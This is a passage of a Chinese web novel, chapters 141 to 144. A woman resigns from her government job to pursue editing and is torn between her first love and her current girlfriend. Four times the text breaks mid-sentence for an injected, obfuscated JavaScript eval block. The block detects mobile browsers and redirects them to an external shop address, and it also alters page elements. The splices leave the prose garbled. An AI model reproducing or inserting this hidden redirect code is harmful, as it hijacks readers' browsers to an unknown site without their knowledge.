还有家人的不理解。即使妈爸都比较开明,但放弃体制内工作,去做一份不知道能不能做成,即使做成或许也没有太大收益,甚至可能朝不保夕的事业,要让她们理解并支持,还是太难了。 以及,在以上种种压力和冲突下,自己是否还能保持良好的心态和稳定的生活状态,支撑自己良性长续地走下去。 这么分析下来,似乎唯一支持她做出改变的,只有热爱了。 这件事一旦想好,做出决定了,几乎就不再可能走回头路。她没有实在不行还可以再回体制内的机会,或许改变后,她的生活会一落千丈,在可能有的内外各种压力下,她也不敢保证未来能一直坚定地走下去。 即使心里已经设想了很多,但种种变数之下,对于过去三十年都按部就班随大流走过来的人来说,要迈出那一步,太难了。 唯一确定的是,她对文字的热爱还会坚持很久很久,直到生命终结。 秦离说了很多很多,楚老师认真听着,不时点头。 “确实思考了很多,没有觉得选择想做的事就是一条阳关大道了,这点很好。” 秦离惭愧。她想的不少,但真的落到实践上,除了保持写作,并没有做太多。 “不过,”楚老师话音一转,“你刚刚提到,想要离开体制内的一个很大原因是受不了工作里那些‘无意义’的形式和政治的东西,也不喜欢体制内那套工作和思维逻辑。” 秦离点头。 “那我要很遗憾地告诉你,无论是创作还是编辑,都并非干净纯洁的乌托邦。创作的话,就像做产品经理,你需要根据读者的喜好去改变和销售自己的作品,可能要做许多你并不喜欢的调整,可能要花大力去推广营销,同样需要职业规划。靠文字吃饭的商业写作,意味着你不能再随心所欲完全写自己想写的东西。” “编辑的话,工作环境上跟其它任何职业都不会有太大区别,一样不能单线认真地去追求一件事情的完美,一样有让人难以忍受的领导和同事,一样不是靠个人努力就能达成目标,一样需要为了时代环境和某些说不清道不明的要求妥协改变,一样有许多重复无意义但又不得不做的事。” “你或许会看见不如你业绩或负责作品的人比你走得更好,会看见许多恶劣又毫无底线的个人和团体行为。与其它所有有人存在的领域一样,矛盾冲突和怀疑迷茫从未减少,有许多人满怀失望和痛苦离开了这个行业。” 她稍微透露了些曾经在梦城那个知名大出版社工作的经历,不赞同的工作理念、糟糕的工作生态和难堪的人际关系,这些是她离开的原因。即使到现在这个小出版社后,她的工资锐减。 “那您为什么还要继续做下去呢?” 问完这个问题的瞬间,秦离已经意识到答案了。 “哈哈,当然是因为爱啊。”楚老师笑得爽朗,“我喜欢看到那些美妙的文字,为不同的故事而感动落泪。一想到经过我的手,那些优秀的作品和作者老师们能被更多人看见,我就兴奋得连觉都睡不着。” “我年轻的时候因为这份工作,患了很长一段时间的抑郁症。当然,那个时候我们都没意识到那是抑郁。最后还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370270|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是靠文字,我一点点从低谷里爬出来。” “你现在看我挺体面正经的样子,但私下,我仍然会经常被工作中的各种事折磨得痛苦不堪,怀疑自己。但这种痛苦和怀疑也是热爱的一部分,我已习惯与它们相伴。” “爱,并不是只有风花雪月、秋水盈盈,痛苦才是最真实的存在和体验。” 秦离被楚老师话语的郑重深沉所打动,久久不能言语。 最后走之前,楚老师道:“一般情况下,我都会建议你在继续做现在这份工作的同时,继续创作,直到创作能给你带来足够脱离这份工作的底气时,你再考虑是否要将它变成全职。” “如果你选择了这条路,欢迎多来投稿,我们现在还是很缺好作品的哦。” “当然,如果你下定决心要走上编辑这条''不归路'',”楚老师语气活泼,“那么也欢迎来找我,虽然称不上什么大的助力,但我至少可以帮你引荐一个入行的机会。” “楚老师,太感谢您了!”秦离深受感动。 对于萍水相逢的自己,对方已经给予了非常多的帮助。在彻底下定决心,义无反顾踏上选定的道路之前,她不会再去打扰对方,消磨她对自己的善意。 尽管还没决定好,但在回家的路上,秦离觉得最近疲惫的心灵轻松了许多。 她条件反射将今天发生的事全部打成文字,兴奋地想和黎羽分享。消息发出去,她才意识到,黎羽已经不是之前那个自己可以随时分享随时打扰的人了。 其实之前她有很多次在对话框里写下了话,又全部删除。但今天或许是大脑太激动了,理智已经来不及拦截。 秦离看着手机界面忐忑不安。 她还没来得及点撤回,就看见上面显示“正在输入中”,于是不敢动了。 过了会,黎羽的消息过来了:【这个编辑老师话说得挺真诚的,很实在。你可以先好好考虑考虑到底要走哪条路,如果下定决心了,可以把具体意向和更有针对性的简历发给她。不要害怕去争取。】 秦离鼻头有些泛酸。 阿羽啊…… 【好的,我会再认真想想,抱歉打扰你了。】 语气和刚才截然不同,很客气。 【没关系。】 聊天戛然而止。 秦离之前高昂的情绪一下子降了下来。 这时,手机又振了一声,她连忙点开,失落地发现不是黎羽。 【总算是下课了,周六还要安排一整天的课真的是神经病。而且疫情都过去了,周末还不让我们随便离校,真的生怕我们有一分钟离开管控哦。】 洛依应该是晚上刚下课,总算逮着空闲时间,跟秦离好好诉说最近的苦。 秦离习惯性地好生安慰着她。 说完自己的事,洛依又道:【怎么样,你今天在忙什么呀?】 秦离便说了和楚老师交流的事,类似的话再发了一遍。 【那挺好的呀,也是你喜欢做的事。】 141. Chapter 141 跟自己预期的回答一样。秦离能想象洛依说这句话的表情。 她没有在这件事上多停留,继续抛出其它话题。洛依便将最近来不及分享的人和事全部都说了遍。 果然,即使不是同批认识的人,即使洛依并不主动外向,依旧很容易成为大家关照和喜欢的中心。 洛依是如此可爱,不会有人不喜欢她。 秦离一直都知道的,也知道自己心中对这点有所芥蒂。这大概是种隐秘的嫉妒的占有欲。 现在似乎仍是如此。 这让她说话愈发谨慎小心,避免暴露这样丑陋的情绪。 两人聊了整整一晚,直到洛依犯困,准备睡了。 【最近都起得太早了,晚上我不早点睡,根本扛不住。】 【好哦,你多休息。】 秦离知道她认床,在那边肯定睡不好,算着日子:【还有两周就结束了,再忍忍。】 【哎,也没办法。等培训回去我一定要休个长假。】 【好哦,这样也好。】 从和楚老师那次谈话后,秦离就一直在考虑。 她将几条路的所有优缺点、实践办法、能借用的关系、问题阻碍和想到的点全部列了出来,又把自己的财务状况理了遍,全部写在一张纸上。 她对着那张纸思考了一周多,终于有所倾向——一个一开始心中就早已明晰的倾向。 秦离熬了三天的夜,将简历和作品集全部改出来,发给楚老师。作品集是她过去写的一些评论,此外附上了对编辑这份职业的考量和不成熟的未来规划。 她还单独写了一长段话,一并发过去了。 【楚老师,打扰您了,我想清楚了,还是想尝试下编辑这个行业。】 【写作是我所热爱的事业,但我并不想将它变成职业,至少目前不想。我还是更喜欢写自己发自内心喜爱的题材,并且不打算采取什么营销手段。如果恰好有读者喜欢我笔下的故事,我将惊喜万分并且十分感激。如果没有人喜欢,我也依旧会一直写下去。我写是因为[我]想写,并不期待它对我有经济收益加成。在纯个人创作上,我不想我的故事有任何其它因素来影响。】 【但我仍然固执地想做自己喜欢的事,想做跟文化、文字相关的工作。】 【我认真想过了,我同样会为帮助其她作者老师形成被大众喜欢的作品,帮助她们被更多读者看见这件事而感到幸福,想要从事这样的职业。我能理解这个过程中的一系列商业化模式,并且接受现实中可能发生的各种琐碎又重复的事务。值得庆幸的是,我还算是比较擅长人际交往和沟通协调,而且在花钱这件事上也没什么执念,所以可能有的收入不高、复杂人际对我来说都不是问题,可以解决的。】 【我不敢肯定选择了这条路一辈子都不后悔,我只知道如果不去做,我以后一定会遗憾痛苦的。这件事情上,只要快乐的部分大于痛苦,即使快乐只有51%,痛苦有49%,对我而言都是值得去做的。】 【以上种种,是我不太成熟的想法,希望没有打扰到您。我迫切希望能得到您的更多指点,如果有引荐入行的机会,将万分感激!】 之前写完时,秦离看了遍,自我吐槽这话写得跟宣誓似的,但这确实是她内心最真实的想法,于是最终还是就这样发过去了。 她已经下定决心了,那么现在什么都不用考虑,只要想怎么能达成目标就好。 向楚老师争取入行机会,跟单位辞职、说服家里人、做好过渡时期的资金储备、了解编辑的主要具体业务和技能所需、疯狂恶补所有能力上的短板、穷尽办法增加实践经验、扩充行业相关人脉、做短期和长期的职业规划…… 一件件事交织着,每件都需要下大功夫去行动,漫漫长路啊。 楚老师细细看了秦离发来的文字和材料,回道:【我能感受到你的真诚和决心,也大概了解到你是偏向编辑行业什么方向的。和同龄人比起来,你毕竟入行晚,差了经验,但好在你的阅读和创作经历都比较丰富,对市场也有自己的看法。】 【这样,我先去问问看哪些出版社或者平台企业能有一个协助工作的助理编辑的位置,你进去多学习多接触,慢慢上手再说后面的事。】 【现在我还不确定一定能问到合适的,而且你做好心理准备,助理编辑的话,工资肯定是相当低的。】 楚老师比较谨慎,没有把话说死。 【好的,多谢您了!能够帮我留意已经万分感谢!有什么情况您随时跟我说,只要有可能的机会,我都想去争取。如果对方需要,我也可以尽快去面试,当面沟通。】 只要有一丝希望,她都要去争取。 楚老师对她这种态度也很欣赏。 单位这边,其实最好的处理方式是等到下个工作确定了再提出辞职,但秦离有些迫不及待了。 已经做出决定,她便不会再犹豫。 于是,还没有跟家里人说,也还没等到楚老师的回复,秦离便鼓起勇气,敲了科长办公室的门。 把工作上其它事七拉八扯地说得差不多后,秦离终于说明了来意:“科长,抱歉,因为一些个人考虑,我想离开我们单位了。” 今天是周一,一大早的科长本来还有些精神不振,被秦离的话吓得一激灵,怀疑自己听错了。 “小秦,我可能没听清,你说什么?” 秦离深吸口气,说得更直白了:“科长,我想辞职。” 科长人不困了,背也挺直了,语气都变得郑重。 “小秦呐,是不是最近工作压力太大了,还是个人遇到什么困难?你都可以跟我讲,总有办法解决的嘛。实在不行,也可以先休息休息,好好调整下。” 秦离知道自己的想法和行为听上去会显得特别愣头青,所以也不想说得太详细,只说自己还是不很适应体制内的工作,想去做其它行业。 见秦离是真的有想法,科长有些着急了。她连番劝着,提到她的工作做得很优秀,现在外面的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370271|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势也不好,劝她再考虑考虑。 然后处长,甚至单位大领导都找她谈谈心,特别是听说她下份工作还没确定下来,更是让她不要那么着急,再好好想想。 到最后,科长说得比较直接了:“小秦呐,要是你已经确定下一份还不错的工作了,我也不拦你,毕竟水往低处流,人往高处走。你想去更好的地方发展,作为你的领导,我怎么都要支持你。而且放你在这里,确实有点屈才了。但你不是还没定下来嘛,骑驴找马,这马儿还没找着,就先别急着换驴撒。” 最后,秦离也知道再拒绝就不合适了,点点头说自己再想想,科长总算松了口气。 出了办公室,秦离深深叹了口气。 她就知道辞职这件事没那么容易,但好歹终于讲出口了,让领导们有个心理预期也好。 之后就是看情况慢慢磨了。 这件事的知情范围控制得很好,除了几个领导,其她人都不知道。 晚上,秦离和洛依聊天时就说到自己提辞职的事。 【你真的提了呀?不是还没确定下家吗?】 【嗯,反正不管楚老师那边有没有引荐机会,我都决定要走了。如果那边不行,我就再问问其她朋友,还有朋友的朋友,全投简历。全国范围找,总能找到给我一个机会的公司吧。而且离职搞的话,说不定我还有时间再多写点文呢,怎么都不亏。】 秦离真正下定决心做的事,行动力总是迅猛的可怕。 曾经大学玩cos时,为了凑齐某个老番的十来人大队,她去包含梦城在内的三个省份所有出过这个作品的coser博下留言,问她们有没有意向来组大队,又拉来外表接近冷门角色的朋友和朋友的朋友加入。出片那天还遇到台风天,但都没有阻碍她最终做成这件事。 这个世界大概就是,如果你真的拼尽全力,那么所有困难都会避开你,所有的路都会出现在你脚下。 很久没有这种不顾一切的疯劲了。 做之前犹豫了那么久,现在真的迈出第一步后,秦离只觉得畅快。 说真的,她甚至都想过自己要是失败了穷困潦倒,就去学校门口摆摊卖麻辣烫,她连汤底配料都存好了。 不管怎么说,总饿不死的。 被秦离如此强劲的生命力所感染,洛依不由发出赞叹:【真厉害啊,姐姐。你还是没有变,如此耀眼……】 熟悉又陌生的称呼看得秦离心上发软,她笑了:【我还什么都没做到呢,你就这么夸我。】 【是你的话,一定可以的。你不知道,以前我们在这里培训的时候,大家都说你看上去强大又温柔,很有魅力。这次来也是,也有我们曾经一批培训的人,大家都记得你。】 感受着洛依难得的直白情绪,秦离的心脏一颤。 洛依还在发:【现在这份工作太委屈你了,你应该去选择你真正想做的事,不被任何东西拘束。】 【往自由的天空飞去,过你想要的生活,这样才好。】 142. Chapter 142 【我也希望你能做喜欢的事,能开心。】 【哈哈,我是不行啦。就这样吧,能活一天是一天。】 哎…… 话题一旦转到洛依身上,她便躲开。秦离也不敢说太多,怕惹她厌烦。 过了几天,培训终于结束,洛依向单位报备,直接飞回庸城休假。 【好好休息。】 【累死了!我要回去先睡个三天!】 看得出来她被解放的快乐,秦离笑了笑,将一起出去玩这件事彻底抛到脑后了。 第一批结束,很快就到第二批了。 秦离本来不想去的,既然她决定离开了,就不打算再占用单位资源。倒是科长一个劲地推她:“去吧,刚好换个环境放松下。不管之后怎么决定的,你现在还是我们单位的人呢,该去的培训干嘛不去。” 最后,秦离还是去了,主要是上级连下了三个大项任务,她要是不去,估计要累死。 去也好,刚好锻炼锻炼手下两个小伙独立处理大项工作的能力,等她交接工作后不至于手忙脚乱,这样她也能走得安心。 国庆后,秦离拖着箱子到了商城大学。 看着久违的学校大门,她还没进去,就听见有人欢快地喊她:“秦离!” 她转身,发现同样带着箱子的罗娜。 罗娜还是如此热情,飞奔过来抱住她,用力拍拍她的背:“好久不见!” 秦离伤感的情绪还没酝酿起来,就被她拍得一干二净。 “好久不见。”秦离回以同样的力道,两个人哈哈大笑。 两人朝宿舍楼走去,聊个不停。罗娜感慨:“我们上次见面是什么时候,21年夏天吧,对了,当时还有洛依在。天,我们居然都已经三年没见过面了。” 面对罗娜这种直肠子总是格外轻松,秦离开玩笑抱怨:“那还不是都怪你,也不到南城来找我玩。” “哎,没办法,忙的飞起。你也是,那次见面后,都不再到春城来找我了。” 秦离有些心虚。 也是那次见面,她和洛依确定了恋爱关系。那之后,她月月飞春城,和洛依享受二人世界,自然不会告诉其她人。 “下次,我下次来春城一定告诉你。你有机会也到南城来嘛,随时喊我,只要不是正在上班,我24小时待命!” “哈哈,那行啊。” 两人嘻嘻哈哈。 第二天上课点名。还是在曾经那个教室,秦离发现了很多熟面孔,都是当初培训见过的人,还有谢依霖和田薇。秦离将见过的人一一说给洛依,又勾起了许多两人过去共同的回忆。 一时间,仿佛真的回到了21年初见时刻。洛依只是坐在了教室的另一个角落,她们发着消息,约好晚上去逛湖边。秦离坐在木椅上,磕磕盼盼着给洛依吹口琴听。微风拂过湖面,带来淡淡的腥味。 一切都是那么美好,好像什么都没改变。 如果此刻洛依真的能和她在一起,该有多好。她可以再为她弹琴唱歌写诗,和她一起打球,一起偷偷坐在楼道里吃东西,在众人一起下楼的瞬间快速交换着青苹果味的糖果。 她们可以牵着手,在月光下亲吻,去那年错过的商城博物馆,去弥补曾经的一切。 可惜,没有如果。 洛依不在这里。 秦离抬头,看着那些她们都认识的面容。明明只过去了三年多,大家看上去却沧桑了好多,和校园里青春活泼的大学生格格不入,说话也三句不离这狗屎般的工作,充满了同仇敌忾的怨念。 一切的一切,都回不到从前。 培训这个月果然如洛依说的那样,管得很严,课程从早安排到晚,生怕给大家一点自己的时间,脱离管控。 同吃同住同洗澡的集体生活,自然少不了大大小小的摩擦。有赖于同寝室有个消息灵通的八卦天后,才呆了一周,秦离就已经听说了不少“秘闻”。 她自己不爱打听,但不避讳别人说这些,听过也就听过了,转头就忘。 洛依倒是对这些很感兴趣,晚上的时候难得主动打了电话过来。 打电话的时间不早了,宿舍已经熄灯,秦离便披了件外套,到楼梯间的窗边去。窗外不知道哪里的狗在一个劲狂吠,在寂静的夜里显得格外大声。 “这么感兴趣呀?”秦离的声音也格外温柔。 洛依依旧是那么可爱,声音软软的:“我也就这点乐子了。快说说嘛,我去那个月好多熟人都没遇到,少了好多快乐。” 于是,秦离便绞尽脑汁,挑着这些天听到的各种传闻,尽可能客观地讲出来。说来也奇怪,这一周大大小小的事故还真出了不少,她看培训负责人都愁成苦瓜脸了,确实算不太顺。 “我听到是这么说的,也不知道事实到底是什么,纯当听个乐子吧。” “本来就只是乐子嘛,”洛依咂舌,“你们这才一个星期,发生的事情比我们那时候半个月的还多了。对了,你知道那谁……” 洛依乐于分享,秦离便都听着。她知道她只有在最亲密的几个人面前才会这么肆无忌惮,对着绝大多数人还是害羞内敛不怎么说话的样子。 活泼一点,总比抑郁自厌、死气沉沉的样子好吧。秦离不想看到她痛苦。 “你还是对那谁怨念这么大啊。”秦离感慨着。那谁是21年培训时洛依她们组的负责人,当初秦离就没少听洛依抱怨。 “当然!当初培训的时候,她就老暗戳戳针对我们几个,在分派活时搞小动作,又在负责人面前上我的眼药。不就是一开始选任的时候,我们几个没有投她的票,捧她的场嘛。” “啊……”洛依说的这些暗流涌动,秦离是一点也没意识到,也不喜欢介入这种纷争。她是个对负面情绪很钝感的人,会无意识过滤掉自己不喜欢的人和事,根本不会多想一秒。因此对洛依说的内容,她并不很能体会,但并不打算跟她唱反调。 洛依也是了解她的,嘟囔着:“我知道,我就是很小肚鸡肠,斤斤计较啦,不像你对什么都比较宽容,不会太在意。” “没有。你又没伤害谁,还是让自己过得舒服点比较重要。” 秦离一贯严以律己、宽以待人。她自己不喜欢这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370272|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不代表洛依也要像她那样想。不说洛依一直只是私下说说,在不喜欢的人面前从不表现,只是远离着不接触。就算她真的做些什么,秦离想着自己或许也只会拉偏架,无条件站在她这边。 在感情面前,理智和道德并不那么重要。 洛依也知道秦离是会向着自己的,所以才说得这么肆无忌惮,毫不遮掩。 这通电话打了很久,两人突然又有了说不完的话,直到洛依打了个哈欠,秦离才道:“困了吗,要不要睡了?就算是休假,也别睡太晚哦,对身体不好。” “知道啦,”因为困意,洛依说话黏黏糊糊的,像是在撒娇,“你也是,明天还要上课,赶紧睡吧。” “好哦,那,快去睡吧。” “晚安……姐姐……” 最后两个字声音很小,秦离反应过来时,洛依已经挂了电话,就好像害羞了。 “……晚安。” 迎着夏夜燥热的风,秦离这时突然迫切希望能马上看见洛依,能面对面和她说话。她习惯性摸上了右手无名指,才意识到那里已经没有戒指了。 戒指和照片还在那个盒子里,没有动。 秦离没有一点睡意,索性靠着窗台,漫无目的地刷着手机。 黑夜如墨般厚重,浓烈的气息将她整个身体都包裹起来,与世界隔绝。 朋友圈不断往下划着,突然,秦离看到了个熟悉的身影,心头一颤。 是黎羽。 是陈玲嘉发的图片:【毕业这么多年,终于又跟小羽一起恰饭啦。可恶,我被工作折磨地都老了这么多,她怎么还是这么帅,越来越招小姑娘喜欢了。】 定位是梦城。照片上,黎羽穿着黑色长袖衬衫,顶端解开了两颗扣子,露出精致的锁骨。她微微低头,显然是不习惯对着镜头。 她表情淡淡的,看上去没什么变化,就好像和秦离的这段波折没有给她带来任何影响。 秦离有些失落。 她关掉图片,一会点开,放大,然后再关掉,再点开。 重复好几遍后,她发现这条朋友圈突然消失了。 或许是被删掉了。 秦离捏着手机,直到屏幕熄灭,身体深处某处好像如蚁虫啃噬般痛痒难耐。 终于,她还是忍不住,给陈玲嘉发了消息:【学姐,你是和黎羽在一起吗?】 对面一直没有动静。 秦离一直盯着屏幕,连呼吸都越来越厚重,彻底染上了夜色。 过了很久,对话框才冒出新的泡泡:【你和小羽到底怎么回事呀?】 秦离身体颤了颤,不肯定她为什么这么问。 【……什么怎么回事?】 【啊呀,你还跟我打哑谜。我还以为你们复合了呢,结果晚上吃饭我提到你,她气压低得要命,发现我发朋友圈了,还非让我删了别发。好久没见她这么阴沉的样子,吓我一跳,都不敢回你消息,我们刚分开,我才赶紧问你。】 那股无名的瘙痒似乎得到了缓解。 秦离很在意一点:【学姐,你为什么会以为我们复合了?】 143. Chapter 143 【你们当我是笨蛋呀。】 陈玲嘉发了好几条长语音过来。秦离终于听明白了,原来是之前她和黎羽频繁活动那阵子,黎羽发了好几条相关的朋友圈。 虽然只有不露脸的照片,配着简单的一句话或者一个表情,但真正了解她的人知道,这种行为已经极为难得,说明她当时的心情真的很好,才会如此迫不及待想要分享。 陈玲嘉作为两人为数不多的共同好友,自然是慧眼如炬,发现了两人行程的高度重合,还有那些相关联的场景。 她先发消息问黎羽,黎羽承认两人恢复了联系,没说更多,但提到秦离时,语气里的眷恋隐瞒不了。 陈玲嘉便以为她们复合了,活着说快了,真心为她们高兴。她知道两人都很好,也希望她们能获得幸福。 本来她还想着下次说不定三个人能一起吃个饭,转眼间黎羽的态度又变了,吓得她一点不敢多问。 秦离并没见过黎羽发的朋友圈。 她从未想过那些日子里,黎羽会如此珍视她们的相处,会忍不住晒给其她人看,甚至还刻意不让她发现。 她以为她只是恰好遇见自己,恰好觉得有个合适的机会可以谈谈恋爱,而发现自己并不值得后,便洒脱地一走了之。 这是她印象中的黎羽,在感情中不会被任何人牵绊。 秦离第一次如此深刻地体会到,她让黎羽伤心了。 她想到黎羽在自己面前暴露脆弱的样子。 梦城、柳城、南城…… 十年前……十年后…… 她又忘了,黎羽从来不是她以为的那样坚强,她只是太习惯于隐藏自己的伤口,表现出无所谓的样子。 她怎么能忘呢…… 秦离懊悔,自责。 【那她看起来还好么,最近过得怎么样,一直在梦城?】 陈玲嘉看不懂她们俩了。 【我还以为是你拒绝了小羽的复合请求,但你明显也还喜欢她的吧,那到底是怎么回事啊?】 【……我不知道。】 秦离的脑子很混乱,被左右拉扯着。她索性将最近发生的所有事全部都讲了,还有自己无法全部给出去的心,所有一切都交给对方去审判。 陈玲嘉沉默了很久。她是个心软的人,共情能力很强,不舍得对谁说重话。 【哎,感情的事啊。当初是黎羽对不起你,分开后你喜欢上其她人也是人之常情。但现在,你这样搞得所有人不上不下的,大家都不好受。】 【……我知道。】 【如果你选择了小妹妹,那就好好跟她在一起,别再联系小羽,也别想她了,就将她彻底从你的人生中划掉。时间会治愈一切的。】 秦离没有吭声,她说不出“好的”这两个字。 【对了,小妹妹知道你和小羽的事吗?】 【她只知道我和黎羽曾经在一起过的事,不知道……不知道我们又遇见了。】 更不知道两人这半年来发生的种种。 【……你啊!学妹,你现在怎么变成这个样子了呢?怎么在爱情上如此犹豫不决,拿出你曾经的果决来。喜欢就是喜欢,不喜欢就是不喜欢,有那么难吗!你已经让黎羽伤心了,还想让另一个人也伤心,让所有人都受伤吗!】 陈玲嘉的语气难得有些重。 秦离都知道的,她正是因为不想让洛依难过,才会如履薄冰,如此小心翼翼。 但黎羽…… 但阿羽…… 秦离的心脏像刀割般疼痛。 她也从未想让阿羽难过啊…… 【哎,总之你好好想想吧。算了不说这个了,最近在忙什么呀?】 秦离便说了培训还有想离职的事。 【你这方面还挺猛的哦,裸辞也太勇了吧!无论如何,祝你能获得想要的结果啦~】 两人顺着其它事聊了一阵,秦离看得出来,陈玲嘉刻意语气轻松,说些有趣的话题,但她的心思始终放在黎羽的事上。 聊天结束后,秦离点开黎羽的朋友圈,不出意外,是一片空白,什么也看不见。 外面的狗不知道什么时候已经不叫了,夜色一片深沉的死寂。 秦离深深叹了口气。 这一切,真是糟糕透了。 当某个人占满你的大脑时,你会发现全世界好像都在指向她,都在勾起你更多地思念她。 这天下课,秦离从湖边超近路时,无意间瞥见蜿蜒的小路尽头,不知什么时候放了一架白色秋千椅。 跟曾经,学校湖边的好像。 秋千椅在拐弯处,秦离走近了才发现,秋千椅看似无暇的白色表面已经有很多刮痕,锈迹斑斑。 她坐在上面,听着秋千连接处嘎吱作响,望着湖心发呆,直到天色变暗,月亮升起,落在湖心。 老师办公桌上放了一盒黄色皮筋。 食堂卖的炸鸡也配了蜂蜜芥末,但是没有黎羽家附近的好吃。 原来学校角落里居然有颗菩提树,长在上面的菩提子灰扑扑的,好丑。 落在草地上的不知名的鸟的尾羽是银灰色的,跟黎羽的发色很像。 还有更多。 记忆强盗般不讲道理地入侵,让秦离无法喘息,无法说服自己让这一切都过去。 她被记忆困住了。十年前的,十年后的。她心不在焉着,连和她隔着手机聊天的洛依都感觉到了。 【你这两天怎么了,遇到什么事了吗?】 秦离正躺在床上听歌。楚老师那边没有新的消息,在学校又哪里都去不了,干什么都没有劲。 发现有洛依的消息,秦离第一反应不想点开。 勉力支撑自己看完,她本想搪塞过去,突然想到陈嘉玲的话。莫名的冲动支配她想将所有事都说出来。 【其实,年初的时候我遇到黎羽了。】 洛依本来还在分享有趣的视频,戛然而止。 过了会,她才回:【黎羽,是你那个初恋吗?】 【嗯。她公司在南城发展业务,她就过来呆一阵子,我在常去的酒吧遇到她了,就恢复了联系,时不时会一起吃饭聚一聚之类的。】 【……这样啊,那还挺有缘分的,哈哈。】 秦离死死盯着屏幕,眼睛被过亮的光刺得酸痛,泪腺不受控制地分泌出液体。 她也不知道自己想听到什么样的答案。 【嗯,确实挺巧的。】 聊天就这样中断了。 秦离将头埋进被子里,把音乐声开得更大了,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370273|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳膜都隐隐作痛。 过了很久,洛依发消息了:【她是一直呆在南城了吗?】 【没有,她只呆半年,现在已经回梦城了,之后可能也不会再来了。】 【这样啊……[奶茶鼠发呆.jpg]】 这时候看见表情包,秦离就觉得心里有些烦躁,知道这是要转移话题的意思。 果然,过了几分钟,洛依又接着分享其它事情。 在轻松搞笑的视频中,秦离很突兀地继续刚才的话题。 【其实,她有复合的意思,但我还没想好,所以没有接受。】 这下,洛依彻底无法逃避了。 【你是已经对她没有感觉了吗?】 【我不知道。】 【……我是不是,打扰到你了?其实如果你能重新好好谈一段恋情,对方也是真诚的,那也挺好的,你值得。】 真的看见洛依直面事情,打出这段话,秦离又唾弃自己非要这么逼她,伤害她。 【没有。可能是最近生理期吧,胡思乱想的也特别多,想到很多过去的事情。还有就是这破培训,真的管得太多了,我跟你说,今天又发生了件事……】 秦离主动将话题拉走了,洛依一开始字里行间情绪都不太好,聊久了才慢慢好起来。 事情再次不了了之。 但秦离给自己定了个期限,今年年底前,不管怎么样,她总要舍弃一方,彻底断开所有联系和念想。 倒不是说另一方一定就会接受自己。她还没有那么自大,觉得别人都呆在原地等着,只要自己点点头,就会听话地凑过来。 或许两边都没什么结果,最后依旧是她孤独一人,不好也不坏。 她只是不想再这么耗着,让所有人都不得安宁。 至于到底奔向哪方…… 让她再想想,再想想…… 一个月的时间过得很快。秦离无心融入集体,除了和罗娜关系不错外,跟其她人都没有什么深入交流。 那次意外的对话后,洛依的消息变少了,说话更加谨慎,情绪一直不太高的样子。 秦离也不再和她谈任何敏感话题,只是顺着聊些轻松的、无伤大雅的事。 培训结束,秦离只跟罗娜打了招呼,并约好下次有机会再见面后,回了南城。 回到单位,科长主动找秦离聊天,见她还是很坚持辞职,有些惋惜。 “好吧,哎,虽然很舍不得,但总不能阻碍你奔向自己的未来。你安排下交接的事,看如果有需要我帮忙的直接说,我也希望你能去个好的下家。” “谢谢科长!” 秦离很感激她这三年对自己的照顾。知道科长的人脉主要在体制内,也不好迂回着太过麻烦她。 同事们知道秦离要走,大多都很震惊,毕竟她是科里的扛把子。知道她是裸辞,更是佩服她的勇气。 小方惊叹道:“离姐,你太猛了!” 只有两个小伙知道自己要挑大梁,眼里失去了光。 终于让领导们接受了辞职这件事,秦离松了一大口,剩下的就是看如何告知妈爸了。 十一月的南城,已经开始变冷,银杏叶慢慢变黄,飘落在水泥地上。 这时,秦离终于收到一个好消息。 144. Chapter 144 楚老师之前提的事有眉目了。 她问了一圈,有两个比较适合秦离的岗位,一个是背靠高校的传统出版社,在花城,另一个是逐渐往线上社交和影视平台靠拢的新兴出版社,在梦城。 它们都主要面向应届毕业生招聘,社会人士只看那些经验丰富的老编辑。这次是看在楚老师的面子上,愿意给一个接收简历,提供新人岗位的机会,但最后能不能成,还是看秦离自己。 【或者你想来我现在这家也可以,但这家才刚刚起步,规模很小,我们也算是刚创业了,说不定明年就倒闭了呢。】 